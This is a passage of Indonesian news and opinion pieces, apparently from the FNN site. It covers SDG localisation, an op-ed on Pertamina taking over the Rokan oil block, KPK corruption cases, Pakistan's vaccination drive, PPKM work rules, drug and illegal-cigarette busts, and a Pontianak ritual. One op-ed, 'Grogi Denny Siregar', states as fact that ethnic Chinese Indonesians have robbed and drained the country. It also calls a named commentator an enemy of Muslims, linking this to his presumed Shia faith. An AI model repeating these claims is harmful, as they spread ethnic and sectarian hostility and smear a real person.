implementasi dan pemantauan kebijakan dan program pembangunan - menghambat potensi ini. Kapasitas pemerintah daerah untuk memobilisasi dukungan luas dari aktor-aktor kunci lainnya seperti dunia usaha, perguruan tinggi, think tank, dan kelompok masyarakat sipil – juga masih menjadi tanda tanya. Dus, peningkatan kapasitas pemerintah daerah dalam upaya percepatan pencapaian SDGs menjadi kebutuhan mendesak. Dalam hal ini, pemerintah pusat dapat menyediakan kerangka regulasi, peningkatan kapasitas kelembagaan dan teknokratis, yang menyertai alih kewenangan dan sumber daya fiskal ke daerah. Di samping Roadmap dan Rencana Aksi di pusat dan daerah yang menjadi rujukan semua pemangku kepentingan dan mitra kerja dalam pencapaian SDGs, diperlukan strategi pembiayaan serta mekanisme insentif moneter dan/atau non-moneter bagi pemerintah daerah untuk mendukung pelaksanaan Rencana Aksi dan berbagai prakarsa percepatan pencapaian agenda global ini. Untuk menerjemahkan SDGs ke dalam konteks lokal dan merinci target target-nya di berbagai tingkat, hingga desa/kelurahan, dibutuhkan instrumen praktis seperti Peta Kemiskinan Multidimensi’ (Multi-dimensional Poverty Map), Kartu Penilaian SDGs (SDG Score Card) dan Analisis Anggaran, yang sebelumnya berhasil diterapkan di berbagai daerah di Indonesia dalam pelokalan MDGs. Hasilnya, alokasi anggaran untuk sektor-sektor terkait kemiskinan multidimensi, dan porsi belanja langsung pembangunan, meningkat cukup signifikan. ____________________________ Penulis Ketua Dewan Pengurus IDe. Tulisan merupakan adaptasi dari artikel penulis bertajuk Bringing Sustainable Development Goals Home yang dimuat harian The MalayMail pada 18 April 2016. Rekomendasi dalam tulisan ini dibuat berdasarkan pengalaman empiris penulis ketika memimpin pengembangan dan pelaksanaan berbagai inisiatif terkait percepatan pencapaian MDGs dan Pembangunan Manusia pada Program Pembangunan Perserikatan Bangsa-Bangsa (UNDP) Indonesia, antara 2002 dan 2011.

Alih Kelola Blok Rokan (1): Waspadai Oligarki dan Pemburu Rente!

Oleh Marwan Batubara, PADA hari Senin, 9 Agustus 2021 minggu depan, pengelolaan Blok Rokan resmi berpindah dari Chevron Pacific Indonesia (CPI) kepada Pertamina melalui anak usaha Pertamina Hulu Rokan (PHR). Chevron (sebelumnya Socal, lalu Caltex) menguasai blok migas di Riau tersebut sejak 1936. Kontrak Blok Rokan ditandatangani PHR dengan SKK Migas atas persetujuan Menteri ESDM 9 Mei 2019. Kontrak akan berlangsung 20 tahun, 2021-2041, menggunakan skema gross split. Bulan lalu Dirut PHR Jaffee Arizona Suardin mengatakan proses alih kelola Blok Rokan telah berjalan lancar tanpa kendala. Proses mirroring seluruh kontrak eksisting (dengan CPI) sudah lebih dari 100% dari 291 kontrak. Selain mirroring, juga dilakukan pengadaan baru dan kontrak melalui program pengembangan bisnis lokal yang juga berjalan lancar. Proses alih pekerja pun telah mencapai 98,7% kata Jaffee (13/7/2021). Dari sisi operasional alih kelola Blok Rokan tampaknya akan baik-baik saja. Sehingga target PHR mempertahankan lifting Blok Rokan sekitar 165.000 barel per hari (bph), sama seperti saat dikelola CPI, tampaknya dapat tercapai, terutama karena PHR menempuh pola mirroring kontrak. Kita tidak tahu apakah dalam pola tersebut terkandung pula maksud “mengamankan” kepentingan “para sub-kontraktor lama” yang biasa berkontrak dengan CPI. Yang jelas, untuk bisnis migas sebesar Blok Rokan, pemimpinnya malah berasal dari SKK Migas, bukan dari induknya, yakni Pertamina sebagai pemegang 100% Blok Rokan. Ke depan, seharusnya Pertamina/PHR segera menangani kontrak/sub-kontrak secara mandiri. Sebab, bisa saja kontrak existing CPI (yang di-mirror PHR) bernilai sangat mahal, sehingga agar efisien dan efektif harus direview sesuai kebutuhan rencana pengembangan jangka pendek dan panjang. Dengan demikian akan diperoleh manfaat maksimal bagi BUMN dan negara. Kalau tidak mandiri, apa gunanya Pertamina menjadi operator pengelola Rokan? Selain itu maksimalisasi benefit bisa saja gagal tercapai mengingat kontrak Blok Rokan menggunakan skema gross split, di mana peran pengawasan SKK migas menjadi sangat minimalis untuk tidak mengatakan hilang sama sekali. Kondisi menjadi lebih parah karena fungsi pengawasan dan audit internal BUMN belum berjalan optimal. Manajemen BUMN selama ini pun tidak berjalan independen, prinsip GCG tidak optimal, kepentingan politik penguasa cukup dominan, serta intervensi oligarki dan perburuan rente pun cukup kental. Agar pengelolaan Blok Rokan bermanfaat bagi sebesar-besar kemakmuran rakyat sesuai amanat Pasal 33 UUD 1945, Pemerintah dan DPR harus menangkal atau mengeliminasi intervensi oligarki pemburu rente, GCG ditingkatkan dan fungsi pengawasan internal & ekternal dioptimalkan. Kalau tidak, bukan benefit maksimal yang dicapai, tetapi seberapa besar akhirnya penerimaan negara menurun dibanding sebelumnya! Sebagai catatan, selama pemerintahan Jokowi, kondisi BUMN justru semakin runyam terutama akibat maraknya intervensi oligarki dan perburuan rente. Selain aspek operasional, aspek bisnis pengelolaan Blok Rokan oleh PHR yang berpotensi merugikan negara adalah terkait kewajiban divestasi atau share down pemilikan saham. Dalam hal ini PHR telah diminta melakukan divestasi atau pengalihan saham, participating interest (PI) maksimal 39%. Karena 10% PI sudah menjadi milik Pemda/BUMD terkait, maka saham yang dimiliki Pertamina kelak hanya akan tinggal 51%. Hal yang tak kalah penting adalah, berapa *besar dana yang akan dibayar sang mitra* untuk mengakuisisi saham tersebut (dibahas pada artikel berikut). Sebelum membahas lebih lanjut perlu dipahami tentang volume dan nilai bisnis seputar pengelolaan Blok Rokan. Dengan produksi 165.000 bph dan harga rata-rata minyak mentah (crude oil) dalam 10 tahun terkahir US$ 66 per barel (berfluktuasi antara US$ 39 s.d US 97 per barel), maka kita bicara tentang nilai pendapatan kotor sekitar US$ 10,89 juta per hari atau US$ 3,92 miliar per tahun atau US$ 78,40 miliar selama 20 usia kontrak. Dengan kurs US$/Rp= 14.000, maka pendapatan kotor tersebut setara dengan sekitar Rp 1100 triliun. Merujuk pada pengelolaan Blok Mahakam, IRESS memperoleh informasi bahwa dana pendapatan kotor produksi migas terdistribusi kepada NKRI, kontraktor (Total Indonesie, Prancis) dan Cost Recovery masing-masing dengan perbandingan 60%, 22% dan 18%. Hanya dari perhitungan periode 1997-2012 saja, yakni selama 16 tahun (padahal Total mengelola Blok Mahakam selama 50 tahun, 1967-2017), keuntungan yang diperoleh Total adalah US$ 23 miliar. Karena itu tak heran jika return on investment kontraktor/Total mencapai 105%! Karena beroperasi di darat, maka pembangunan sumur-sumur dan sarana lain jauh lebih murah dibanding Blok Mahakam yang beroperasi di laut, lepas pantai. Selain itu, sebagaimana dipromosikan pemerintah, skema gross split akan lebih menguntungkan bagi kontraktor. Di sisi lain, Blok Rokan memang memerlukan biaya lebih besar karena adanya operasi penyuntikan air, gas atau kelak zat kimia untuk merecover minyak. Namun demikian, secara keseluruhan, diyakini keuntungan PHR minimal sekitar 22% pendapatan kotor (Rp 242 triliun). Dengan cadangan masih miliaran barel (1,5 hingga 2,5 miliar barel), potensi keuntungan bersih minimal sekitar Rp 242 triliun, maka pasti banyak kontraktor asing dan swasta yang bernafsu untuk memiliki saham Blok Rokan, termasuk CPI yang sebelumnya sangat berharap mendapat perpanjangan kontrak. Pemerintah pun telah membuka jalan lebar-lebar bagi investor untuk mengakuisisi sebagian saham PHR. Bahkan Kementrian ESDM telah mewajibkan program divestasi ini. Aspek legal program ini dibahas pada artikel terpisah. IRESS menganggap rencana divestasi atau sharing-down saham tersebut jelas bermasalah dan justru wajib ditolak rakyat. Pertama, karena mengelola saham Rokan secara mandiri merupakan hak konstitusional Pertamina/PHR, Kedua, Rokan merupakan blok yang sudah berproduksi yang minim risiko sebagaimana blok yang masih tahap eksplorasi. Ketiga, PHR tidak butuh suntikan dana dari mitra (akrobat kata-kata manipulatif ini sering diumbar), cukup dengan meminjam, karena Blok Rokan sudah mengahasilkan pemasukan sekitar US$ 10,89 juta setiap hari atau sekitar US$ 3,92 miliar (Rp 55 triliun) setiap tahun. Keempat dengan underlaying bisnis demikian, justru akan banyak bank/lembaga keuangan menawarkan pinjaman termurah pada Pertamina. Dengan demikian untung besar dan maksimal tetap bisa diraih tanpa harus kehilangan saham. (akibat divestasi). Kelima, dengan potensi keuntungan dan ROI yang demikian besar di satu sisi dan risiko yang rendah di sisi lain, maka sulit diterima akal sehat (kecuali ada faktor moral hazard) jika Pertamina masih berminat berbagi keuntungan besar kepada investor lain. Konon Pertamina pun memang tidak berminat untuk sharing down saham. Keenam, ika dikatakan selain dana, calon mitra juga akan membawa keahlian dan teknologi, maka “promotor program divestasi” ini dapat dianggap telah melecehkan kemampuan bangsa Indonesia. Sebab, Indonesia tidak kekurangan tenaga ahli. Teknologi pun bisa dibeli/disewa. Faktanya, lebih dari 90% karyawan CPI resmi beralih menjadi karyawan PHR. Dirut PHR Jaffee A. Suardin pun telah mengakui perihal mulusnya transfer alih kelola. Terkait SDM, ke depan Pertamina perlu memperhatikan jalur karir karyawan eks CPI hingga dapat menduduki posisi maksimal secara adil, objektif dan profesional sesuai kompetensi. Setelah dikuasai asing (Caltex & Chevron) selama hampir satu abad (sejak 1936), pengelolaan Blok Rokan oleh bangsa sendiri merupakan dambaan sebagian besar anak bangsa. Dengan demikian akan diperoleh manfaat bagi sebesar-besar kemakmuran rakyat. Namun, target tersebut tidak akan tercapai jika muncul “sabotase” melalui kebijakan sarat moral hazard dan perburuan rente, terutama karena besarnya keuntungan yang ingin diraih. Kalau tidak mau jadi pecundang, DPR atau minimal rakyat harus melawan rencana sarat nuansa oligarkis ini.[] Penulis, Direktur Eksekutif IRESS.

KPK Panggil Anggota DPR RI Dedi Mulyadi Terkait Suap di Pemkab Indramayu

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Rabu, memanggil Anggota DPR RI Dedi Mulyadi sebagai saksi dalam penyidikan kasus dugaan suap terkait pengaturan proyek di lingkungan Pemkab Indramayu, Jawa Barat, Tahun 2019. Dedi diagendakan diperiksa untuk tersangka Anggota DPRD Jabar Ade Barkah Surahman (ABS) dan kawan-kawan. "Hari ini (Rabu) pemeriksaan tindak pidana korupsi suap terkait pengaturan proyek di lingkungan Pemerintah Kabupaten Indramayu Tahun 2019 untuk tersangka ABS dan kawan-kawan atas nama Dedi Mulyadi (Anggota DPR RI)," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Rabu. Ia mengatakan pemeriksaan terhadap Dedi digelar di Gedung KPK, Jakarta. KPK telah menetapkan Ade Barkah bersama mantan Anggota DPRD Jawa Barat Siti Aisyah Tuti Handayani (STA) sebagai tersangka. Ade Barkah diduga menerima suap Rp750 juta, sedangkan Siti Aisyah diduga menerima Rp1,050 miliar. Keduanya disangkakan melanggar Pasal 12 huruf a atau huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 56 ayat 1 ke-1 KUHP. Diketahui, kasus tersebut adalah salah satu dari banyak kasus yang diawali dari kegiatan tangkap tangan KPK. Pada 15 Oktober 2019, KPK menggelar kegiatan tangkap tangan di Indramayu. Hasilnya, KPK menetapkan empat orang sebagai tersangka, yaitu Bupati Indramayu 2014-2019 Supendi, Kepala Dinas PUPR Kabupaten Indramayu Omarsyah, Kepala Bidang Jalan Dinas PUPR Kabupaten Indramayu Wempy Triyono, dan Carsa ES dari pihak swasta. Saat ini, empat orang tersebut telah divonis Majelis Hakim Tipikor dan telah mempunyai kekuatan hukum tetap. Kasus tersebut kemudian dikembangkan lebih lanjut dan pada Agustus 2020, KPK menetapkan tersangka lain, yakni Anggota DPRD Jabar Abdul Rozaq Muslim. Ia telah divonis 4 tahun penjara dan denda Rp250 juta subsider 6 bulan kurungan. Dalam konstruksi, KPK menyebut bahwa Carsa diduga menyerahkan uang kepada Ade Barkah secara langsung dengan total sebesar Rp750 juta. Carsa juga diduga memberikan uang secara tunai langsung kepada Abdul Rozaq maupun melalui perantara dengan total sekitar Rp9,2 miliar. Dari uang yang diterima Abdul Rozaq tersebut kemudian diduga diberikan kepada Anggota DPRD Jabar lain di antaranya Siti Aisyah dengan total sebesar Rp1,050 miliar. (sws).

Pakistan Capai 1 Juta Vaksinasi Sehari Setelah Peringatan Hukuman

Islamabad, FNN - Pakistan pada Selasa (3/8) mencapai target untuk memvaksin satu juta orang per hari terhadap COVID-19 setelah mengeluarkan peringatan hukuman bagi mereka yang tidak divaksin. Pemerintah pekan lalu mengumumkan bahwa mulai akhir Agustus para pekerja di sekolah, pusat perbelanjaan dan bisnis perhotelan, serta industri transportasi dan perjalanan udara akan dilarang memasuki kantor publik kecuali mereka sudah memiliki sertifikat vaksinasi. Pencapaian satu juta vaksinasi sehari itu memajukan gerakan inokulasi di Pakistan, hanya beberapa minggu lagi dari batas waktu bagi para pekerja garis depan untuk mendapatkan sertifikat vaksinasi. "Senang melaporkan bahwa target yang kami tetapkan untuk 1 juta vaksinasi dalam sehari telah terlampaui," kata Asad Umar dalam sebuah cuitan di Twitter. Umar adalah menteri yang bertanggung jawab atas operasi tanggapan COVID-19. Pakistan telah mengalami lonjakan kasus infeksi virus corona yang didorong oleh varian Delta yang sangat menular. Lonjakan kasus COVID-19 itu menempatkan infrastruktur layanan kesehatannya yang buruk di bawah tekanan ekstrem. Dari populasi 220 juta orang Pakistan, lebih dari 31 juta di antaranya telah menerima satu suntikan vaksin. Namun, hanya 6,7 juta orang yang telah divaksin penuh, menurut Pusat Komando dan Operasi Nasional (NCOC), yakni sebuah badan yang dijalankan militer Pakistan untuk mengawasi operasi tanggapan COVID-19. NCOC mengatakan Pakistan pada Selasa (3/8) mencatat 3.582 kasus baru COVID-19 dan 67 kematian dalam 24 jam terakhir, dengan lebih dari 3.300 orang mengalami kondisi kritis. Sejauh ini, sudah 23.529 orang yang meninggal karena COVID-19 di Pakistan, dan ada lebih dari satu juta kasus infeksi virus corona. Para pejabat mengatakan lebih dari 70 persen kasus baru COVID-19 di Pakistan adalah infeksi varian Delta. Setelah awal kampanye vaksinasi yang lamban, persyaratan baru untuk sertifikat vaksinasi telah menyebabkan serbuan warga yang berupaya mendapatkan suntikan vaksin. Keadaan itu menciptakan antrian-antrian yang membentang lebih dari satu kilometer di luar beberapa pusat vaksinasi, terutama di kota pelabuhan selatan Karachi, ibu kota provinsi Sindh. Pemerintah provinsi di Sindh telah memberikan tekanan ekstra pada orang-orang untuk mendapatkan vaksinasi dengan memperingatkan akan menahan gaji pegawai pemerintah dan memblokir kartu SIM ponsel kecuali mereka memiliki sertifikat vaksinasi yang diperlukan. Sekitar 23 persen orang yang menjalani tes COVID-19 di Karachi selama beberapa hari terakhir ditemukan terjangkit virus corona, sementara secara nasional tingkat tes dengan hasil positif mencapai lebih dari tujuh persen, menurut data NCOC. (sws) Sumber: Reuters

Grogi Denny Siregar

By M Rizal Fadillah SEPERTI rekan sekolamnya Ade Armando keduanya menjadi korban prank Heryanti Akidi Tio soal sumbangan 2 Trilyun. Sudah habis habisan memuji setinggi langit eh tak disangka langitnya runtuh. Puja puji dengan nada girang kini berubah menjadi pijit pijit kening karena kena tendang. Reaksi Denny setelah tahu kena tipu-tipu tentu menutupi kekesalan dan menduga banyak yang mencibir. Ia menyatakan bahwa beberapa hari ke depan bahkan seminggu akan dibully di medsos. Ia "declare" bully-an mulai. Meski seperti tenang menghadapi risiko tetapi itu secara psikologis menunjukkan bahwa sebenarnya Denny sedang grogi. Seperti pepatah "pertahanan terbaik adalah menyerang" .Denny malah menyinggung dan menyerang Andi Arief, Rizal Ramli, dan Fadli Zon soal kasus Ratna Sarumpaet. Sebenarnya konteksnya berbeda. Heryanti Akidi mencoba berfoto selfie sebagai pengusaha Tionghoa filantropis. Ketua MPR Bambang Soesatyo menyebut Heryanti sebagai penyumbang terbesar setelah Bill Gates. Adalah pilihan hidup Denny untuk menjadi pembela Istana habis-habisan. Tapi mungkin seseorang itu bisa lupa bahwa kekuasaan istana itu akan habis juga. Kelak loyalis harus ikut bersayonara. Jika masih ngotot berkata-kata sama maka bisa berujung penjara. Kekuasaan adalah prank berbingkai bahagia dalam fatamorgana. Sakitnya tuh di sini. Kasus keluarga pengusaha Tionghoa Akidi Tio adalah prank paling bersejarah dan Denny Siregar adalah pemain figuran dari sejarah itu. "Almarhum bisa saja mengembangkan dananya ke luar negeri, tempat kelahiran nenek moyangnya. Tapi sungguh dia malah menyumbangkan hartanya yang besar itu untuk membantu pemerintah Indonesia yang sedang kesulitan menghadapi pandemi ini". Menurutnya banyak sekali etnis Tionghoa di Indonesia yang menyumbangkan hartanya di saat musibah. Denny tak merasakan bahwa rakyat Indonesia sedang bersedih atas tanah, kebun, hutan, dan lapangan pekerjaan yang telah dan terus dirampok serta dikuras habis oleh etnis Tionghoa. Yang mereka sumbangkan itu tak seberapa dibanding hasil rampokannya. Kita sebagai pribumi sedih dan marah atas perilaku seperti itu. "Saya sendiri masih sedih banyak orang yang mengaku pribumi, beragama muslim, masih sibuk mengumpulkan donasi, bukan untuk saudaranya sendiri, buat orang luar negeri" sindir Denny soal donasi Palestina. Denny tertipu oleh phobia keagamaannya sendiri--anti Islam--mungkin karena Syi'ahnya, sehingga lebih pro pengusaha etnis Tionghoa ketimbang pribumi muslim. Denny mestinya faham bahwa soal Palestina bukan semata keagamaan tetapi kemanusiaan ! Israel yang zalim dan brutal telah merampas hak kemerdekaan bangsa Palestina. Kita harus membantunya baik melalui diplomasi maupun donasi. Mudah-mudahan prank Akidi Tio yang juga dengan sangat berani telah mempermainkan Kapolda Sumsel menjadi pelajaran bagi Denny. Tapi jika sudah kebal dari rasa malu atau dosa dalam menyakiti muslim, ya rakyat khususnya pribumi muslim sulit untuk menjadi percaya. Denny tetap akan menjadi musuh umat. Apalagi jika Denny dan Armando masih tetap nyaman bermain di kolam yang keruh dan beracun. *) Pemerhati Politik dan Kebangsaan

Menpan RB Terbitkan SE Sistem Kerja ASN Pada Perpanjangan PPKM level 4

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo menerbitkan Surat Edaran Nomor 18 Tahun 2021 tentang Sistem Kerja Pegawai Aparatur Sipil Negara (ASN) selama pemberlakuan pembatasan kegiatan masyarakat (PPKM) level 4. Tjahjo mengatakan sistem kerja ASN pada masa PPKM level 4 yang diperpanjang hingga 9 Agustus tersebut sesuai dengan level yang berlaku di setiap daerah. "Sistem kerja pegawai ASN tetap berpedoman pada SE Menpan RB Nomor 16 Tahun 2021 sesuai dengan level wilayah PPKM yang ditetapkan," demikian keterangan dalam SE yang dibagikan Tjahjo dalam pesan singkat, Rabu. Pengaturan level PPKM di setiap daerah didasarkan pada Instruksi Menteri Dalam Negeri (Inmendagri) yang ditandatangani Tito Karnavian sebanyak tiga instruksi. "Pengaturan level wilayah PPKM berpedoman pada penetapan yang ditetapkan oleh Menteri Dalam Negeri," tambah Tjahjo. Sebelumnya, SE Menpan RB Nomor 16 Tahun 2021 mengatur sistem kerja ASN sesuai dengan level PPKM di masing-masing daerah. Di wilayah Jawa dan Bali, ASN yang bekerja pada sektor nonesensial melakukan tugas kedinasan 100 persen di rumah atau work from home (WFO), dengan memperhatikan sasaran kinerja dan target kerja pegawai bersangkutan. Pegawai ASN di sektor esensial, maka instansi pemerintah bersangkutan boleh menugaskan paling banyak 50 persen ASN untuk berdinas di kantor. Sistem kerja ASN tersebut berlaku di wilayah Sumatera, Kalimantan, Sulawesi, Nusa Tenggara, Maluku, dan Papua yang berada di wilayah level 4. Sementara itu, sistem kerja ASN di wilayah dengan PPKM level 3 mengizinkan pegawai ASN berdinas di kantor sebanyak 25 persen. Daerah dengan PPKM Level 2 dan Level 1, sistem kerja ASN pada instansi pemerintah dilakukan dengan memperhatikan kriteria zonasi kabupaten dan kota masing-masing. (sws)

BNNP Maluku Ringkus 14 Pelaku Narkoba

Ambon, FNN - Badan Narkotika Nasional Provinsi (BNNP) Maluku berhasil meringkus 14 pelaku yang diduga terlibat dalam kasus tindak pidana penyalahgunaan dan pengedaran narkotikan serta obat-obat terlarang sejak Januari hingga Juni 2021. "Totalnya ada delapan perkara dugaan tindak pidana narkotika dan tersangkanya 14 orang yang sementara menjalani proses hukum," kata Kepala BNNP Maluku, Brigjen Pol Rohmad Nursahid di Ambon, Rabu. Sementara barang bukti yang berhasil disita aparat BNNP diantaranya terdiri dari sabu-sabu 161,83 gram, tembakau sintetis atau sinte 21,4641 gram, serta ganja seberat 3.263,62 gram. Menurut dia, kalau seluruh barang bukti ini diuangkan maka total nilainya adalah Rp976,4 juta. Untuk para tersangka yang diamankan masing-masing berinisial GW yang ditangkap pada 6 Februari 2021 di Desa Luhu, Kecamatan Huamual Barat, Kabupaten Seram Bagian Barat dengan barang bukti berupa tembakau sintetis seberat 5.0880 gram. Kemudian tersangka SO diamankan tanggal 28 Februari 2021 saat menjemput satu paket barang berisikan narkotika golongan satu jenis sinte seberat 4,1777 gram di salah satu perusahaan jasa pengiriman barang di Kota Ambon. "Tersangka lainnya berinisial TAT, MFL, dan AHB yang ditangkap pada lokasi dan tempat berbeda namun barang buktinya berupa narkotika golongan satu jenis sinte dan sabu," ujar Rohmad Nursahid. Untuk tersangka AHB diamankan di Langgur, Kabupaten Maluku Tenggara dengan barang bukti berupa 105,76 gram ganja kering. Sedangkan untuk tersangka IT, EP, IAT, RK, dan MJS yang merupakan satu kelompok diamankan pada tanggal 6 April 2021 di area tempat kedatangan penumpang Bandara Internasional Pattimura Ambon dan barang bukti yang disita berupa satu paket narkoba golongan satu bukan tanaman jenis sabu seberat 41,5 gram. "Para tersangka umumnya dijerat dengan pasal 111, pasal 112, pasal 114 ayat (2) Undang-Undang RI nomor 35 tahun 2009 tentang narkotika," kata Rohmad Nursahid. Menurut dia, pengungkapan kasus narkotika oleh BNNP Maluku ini dilakukan atas kerja sama dan koordinasi yang baik dengan lintas terkait seperti Ditresnarkoba Polda Maluku, Satresnarkoba Polresta Pulau Ambon, Kanwil Bea Cukai, serta pihak PT Angkasa Pura. Sebagian besar para pelaku yang diamankan ini melakukan pemesanan narkoba secara daring dan barangnya dikirim melalui beberapa perusahaan jasa pengiriman barang. (sws)

KPPBC Kudus Bersama TNI Gerebek Rumah untuk Timbun Rokok Ilegal

Kudus, FNN - Kantor Pengawasan dan Pelayanan Bea Cukai (KPPBC) Tipe Madya Kudus, Jawa Tengah, bekerja sama dengan Subdenpom Pati menggerebek rumah yang digunakan sebagai tempat mengemas dan menimbun rokok ilegal. Menurut Kepala KPPBC Tipe Madya Kudus Gatot Sugeng Wibowo di Kudus, Rabu, sinergi dengan TNI dilakukan bertujuan memusnahkan rokok ilegal, salah satunya di Desa Bandungrejo, Kecamatan Kalinyamatan, Kabupaten Jepara, pada 2 Agustus 2021 yang berhasil mengungkap kasus rokok ilegal. Pengungkapan kasus tersebut berkat informasi masyarakat terkait adanya bangunan atau rumah yang digunakan sebagai tempat mengemas dan menimbun barang kena cukai (BKC) berupa rokok yang diduga ilegal di wilayah Jepara. Atas informasi tersebut, Tim Gabungan Bea Cukai Kudus dan Subdenpom Pati bergerak mengamati bangunan tersebut. Setelah tiba di lokasi, pada saat itu sedang berlangsung kegiatan pengemasan dan menimbun BKC berupa rokok jenis sigaret kretek mesin (SKM) yang diduga ilegal. Ada pun barang bukti yang diamankan sebanyak 148.800 rokok batangan jenis SKM, 2.920 bungkus (58.400 batang rokok) tanpa dilekati pita cukai dengan berbagai merek, lima unit alat pemanas, dan dua unit telepon genggam. Selain itu ada tiga pekerja yang sedang melakukan kegiatan pengemasan. Sedangkan pemiliknya berinisial NF (44) yang tempat tinggalnya tidak jauh dari lokasi tersebut diamankan. Dalam pemeriksaan tersebut, ditemukan pula rokok jenis SKM yang dilekati pita cukai diduga palsu sehingga total barang bukti yang ditemukan 207.600 batang rokok ilegal dengan perkiraan nilai barang Rp211,75 juta. Sementara potensi kerugian negara yang berhasil diselamatkan sebesar Rp139,16 juta. Untuk kepentingan pemeriksaan lebih lanjut, maka pemilik barang, pekerja pengemas rokok, dan barang bukti lainnya dibawa ke KPPBC Tipe Madya Cukai Kudus. (sws)

KPK Konfirmasi Saksi Aliran Uang Kepada Eks Politikus PKS Yudi Widiana

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengonfirmasi saksi Charisal Akdian Manu soal dugaan aliran uang kepada tersangka mantan Wakil Ketua Komisi V DPR dari Fraksi Partai Keadilan Sejahtera (PKS) Yudi Widiana Adia (YWA). Charisal adalah Sekretaris Direktorat Jenderal Sumber Daya Air Kementerian PUPR. KPK, Selasa (3/8), memeriksa Charisal dalam penyidikan kasus dugaan Tindak Pidana Pencucian Uang (TPPU) dengan tersangka Yudi Widiana Adia. "Tim penyidik mendalami keterangan saksi mengenai adanya aliran sejumlah uang kepada tersangka YWA yang berkaitan dengan peruntukan dana aspirasi DPR RI pada tahun 2015," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Rabu. KPK juga menginformasikan dua saksi untuk tersangka Yudi yang tidak memenuhi panggilan penyidik pada Selasa (3/8), yaitu wiraswasta Us Us Ustara dan Rikit Framanik selaku ibu rumah tangga. "Saksi tidak hadir dan tanpa konfirmasi, yaitu Us Us Ustara (wiraswasta) dan Rikit Framanik (ibu rumah rangga). KPK mengimbau mereka untuk hadir pada jadwal pemanggilan berikutnya," ucap Ali. KPK menetapkan Yudi sebagai tersangka TPPU pada Februari 2018. Yudi diduga menerima sekitar Rp20 miliar saat menjabat sebagai Wakil Ketua Komisi V DPR RI dari proyek-proyek Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) di Maluku, Maluku Utara, dan Kalimantan. KPK melakukan penelusuran dan menemukan bahwa uang sekitar Rp20 miliar itu diduga disimpan Yudi secara tunai atau telah diubah menjadi aset tidak bergerak dan bergerak seperti tanah di beberapa lokasi dan sejumlah mobil yang menggunakan nama pihak lain. Selain itu, KPK menemukan ketidaksesuaian antara penghasilan Yudi dengan aset yang dimilikinya. Yudi dijerat dengan Pasal 3 dan atau Pasal 4 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang juncto Pasal 55 ayat (1) ke-1 KUHP. Yudi saat ini sedang menjalani vonis 9 tahun penjara karena menerima suap Rp6,5 miliar dan 354.300 dolar AS (senilai Rp11,5 miliar) terkait proyek jalan milik Kementerian PUPR Tahun Anggaran 2015 dan 2016 yang menjadi program aspirasi DPR RI. (sws)

Ketua DPR: Anak Kehilangan Orang Tua Akibat COVID-19 Perlu Didata

Jakarta, FNN - Ketua DPR RI Puan Maharani meminta pemerintah mendata anak-anak yang kehilangan orang tua (yatim/piatu) akibat dampak pandemi COVID-19 agar diberi perlindungan dan bantuan. "Hingga saat ini, saya belum melihat adanya data khusus terkait anak-anak Indonesia yang kehilangan orang tua mereka karena COVID-19. Kita perlu data tersebut sebagai langkah untuk memberi perlindungan," kata Puan dalam keterangannya di Jakarta, Rabu. Dia menilai data tersebut sangat diperlukan untuk memastikan negara hadir memberikan perlindungan yang tepat terhadap anak-anak yang kehilangan orang tua karena pandemi COVID-19. Perlindungan mulai dari santunan sampai pengasuhan, tergantung kondisi sosial masing-masing anak. "Negara harus bertanggung jawab terhadap masa depan anak-anak Indonesia yang menjadi korban bencana kesehatan ini," ujarnya. Puan menilai untuk jangka pendek, anak-anak yatim dan/atau piatu akibat COVID-19 harus segera mendapat pendampingan untuk pemulihan dampak psikologis akibat kehilangan orang tua mereka. Langkah itu, menurut mantan Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan (Menko PMK), agar semangat hidup dan semangat belajar anak-anak kembali lagi. "Serapan anggaran pemerintah untuk penanganan COVID-19 harus digunakan untuk program-program perlindungan untuk anak yatim dan/atau piatu akibat pandemi. Program perlindungan itu bisa dalam bentuk santunan, beasiswa atau bantuan belajar," katanya. Sebelumnya, Puan memberikan bantuan untuk Alviano Dafa Raharja (8), anak yang kehilangan kedua orang tuanya akibat COVID-19. Cerita Vino sempat viral lantaran anak sekecil itu harus menjalani isolasi mandiri sendirian di dalam rumahnya di Kutai Barat, Kalimantan Timur. Saat ini Vino yang yatim piatu sudah dibawa pulang kakeknya ke kampung halaman orang tuanya di Kabupaten Sragen, Jawa Tengah. Santunan dan bantuan pendidikan dari Puan untuk Vino dan Rahmad Dian Agasta serta Heenglay Onglay (Lim), dua anak Kabupaten Sragen yang bernasib sama diserahkan melalui Wakil Ketua Komisi VIII DPR RI Diah Pitaloka dan disaksikan Bupati Sragen Kusdinar Untung Yuni Sukowati. (sws)

YBS Pontianak Dukung Tidak Sembahyang Kubur di Makam Cegah Kerumunan

Pontianak, FNN - Ketua Umum Yayasan Bhakti Suci (YBS) Pontianak Susanto Muliawan Lim mendukung imbauan Gubernur Kalbar untuk tidak menyelenggarakan Sembahyang Kubur di makam di masa pandemi COVID-19, tetapi cukup diganti dengan sembahyang di rumah saja guna mencegah kerumunan. "Kami sangat mendukung sekali kebijakan Gubernur Kalbar ini dan memaklumi keputusan ini diambil agar dalam situasi pandemi COVID-19 tidak terjadi kluster baru penyebaran COVID-19, salah satunya tidak melakukan kegiatan Sembahyang Kubur di makam yang biasanya Kalbar ramai dikunjungi warga Tionghoa yang berasal dari luar," kata Susanto Muliawan Lim di Pontianak, Kalimantan Barat, Rabu. Kemudian, untuk acara ritual pembakaran "kapal wangkang" di hari terakhir ritual Sembahyang Kubur, pihaknya akan menyelenggarakannya tanpa penonton dalam mencegah kerumunan, katanya. Sebelumnya, dalam Surat Edaran (SE) Gubernur Kalimantan Barat, Nomor 2619 tertanggal 30 Juli 2021 tentang imbauan kepada masyarakat Tionghoa Kalbar agar tidak melaksanakan kegiatan 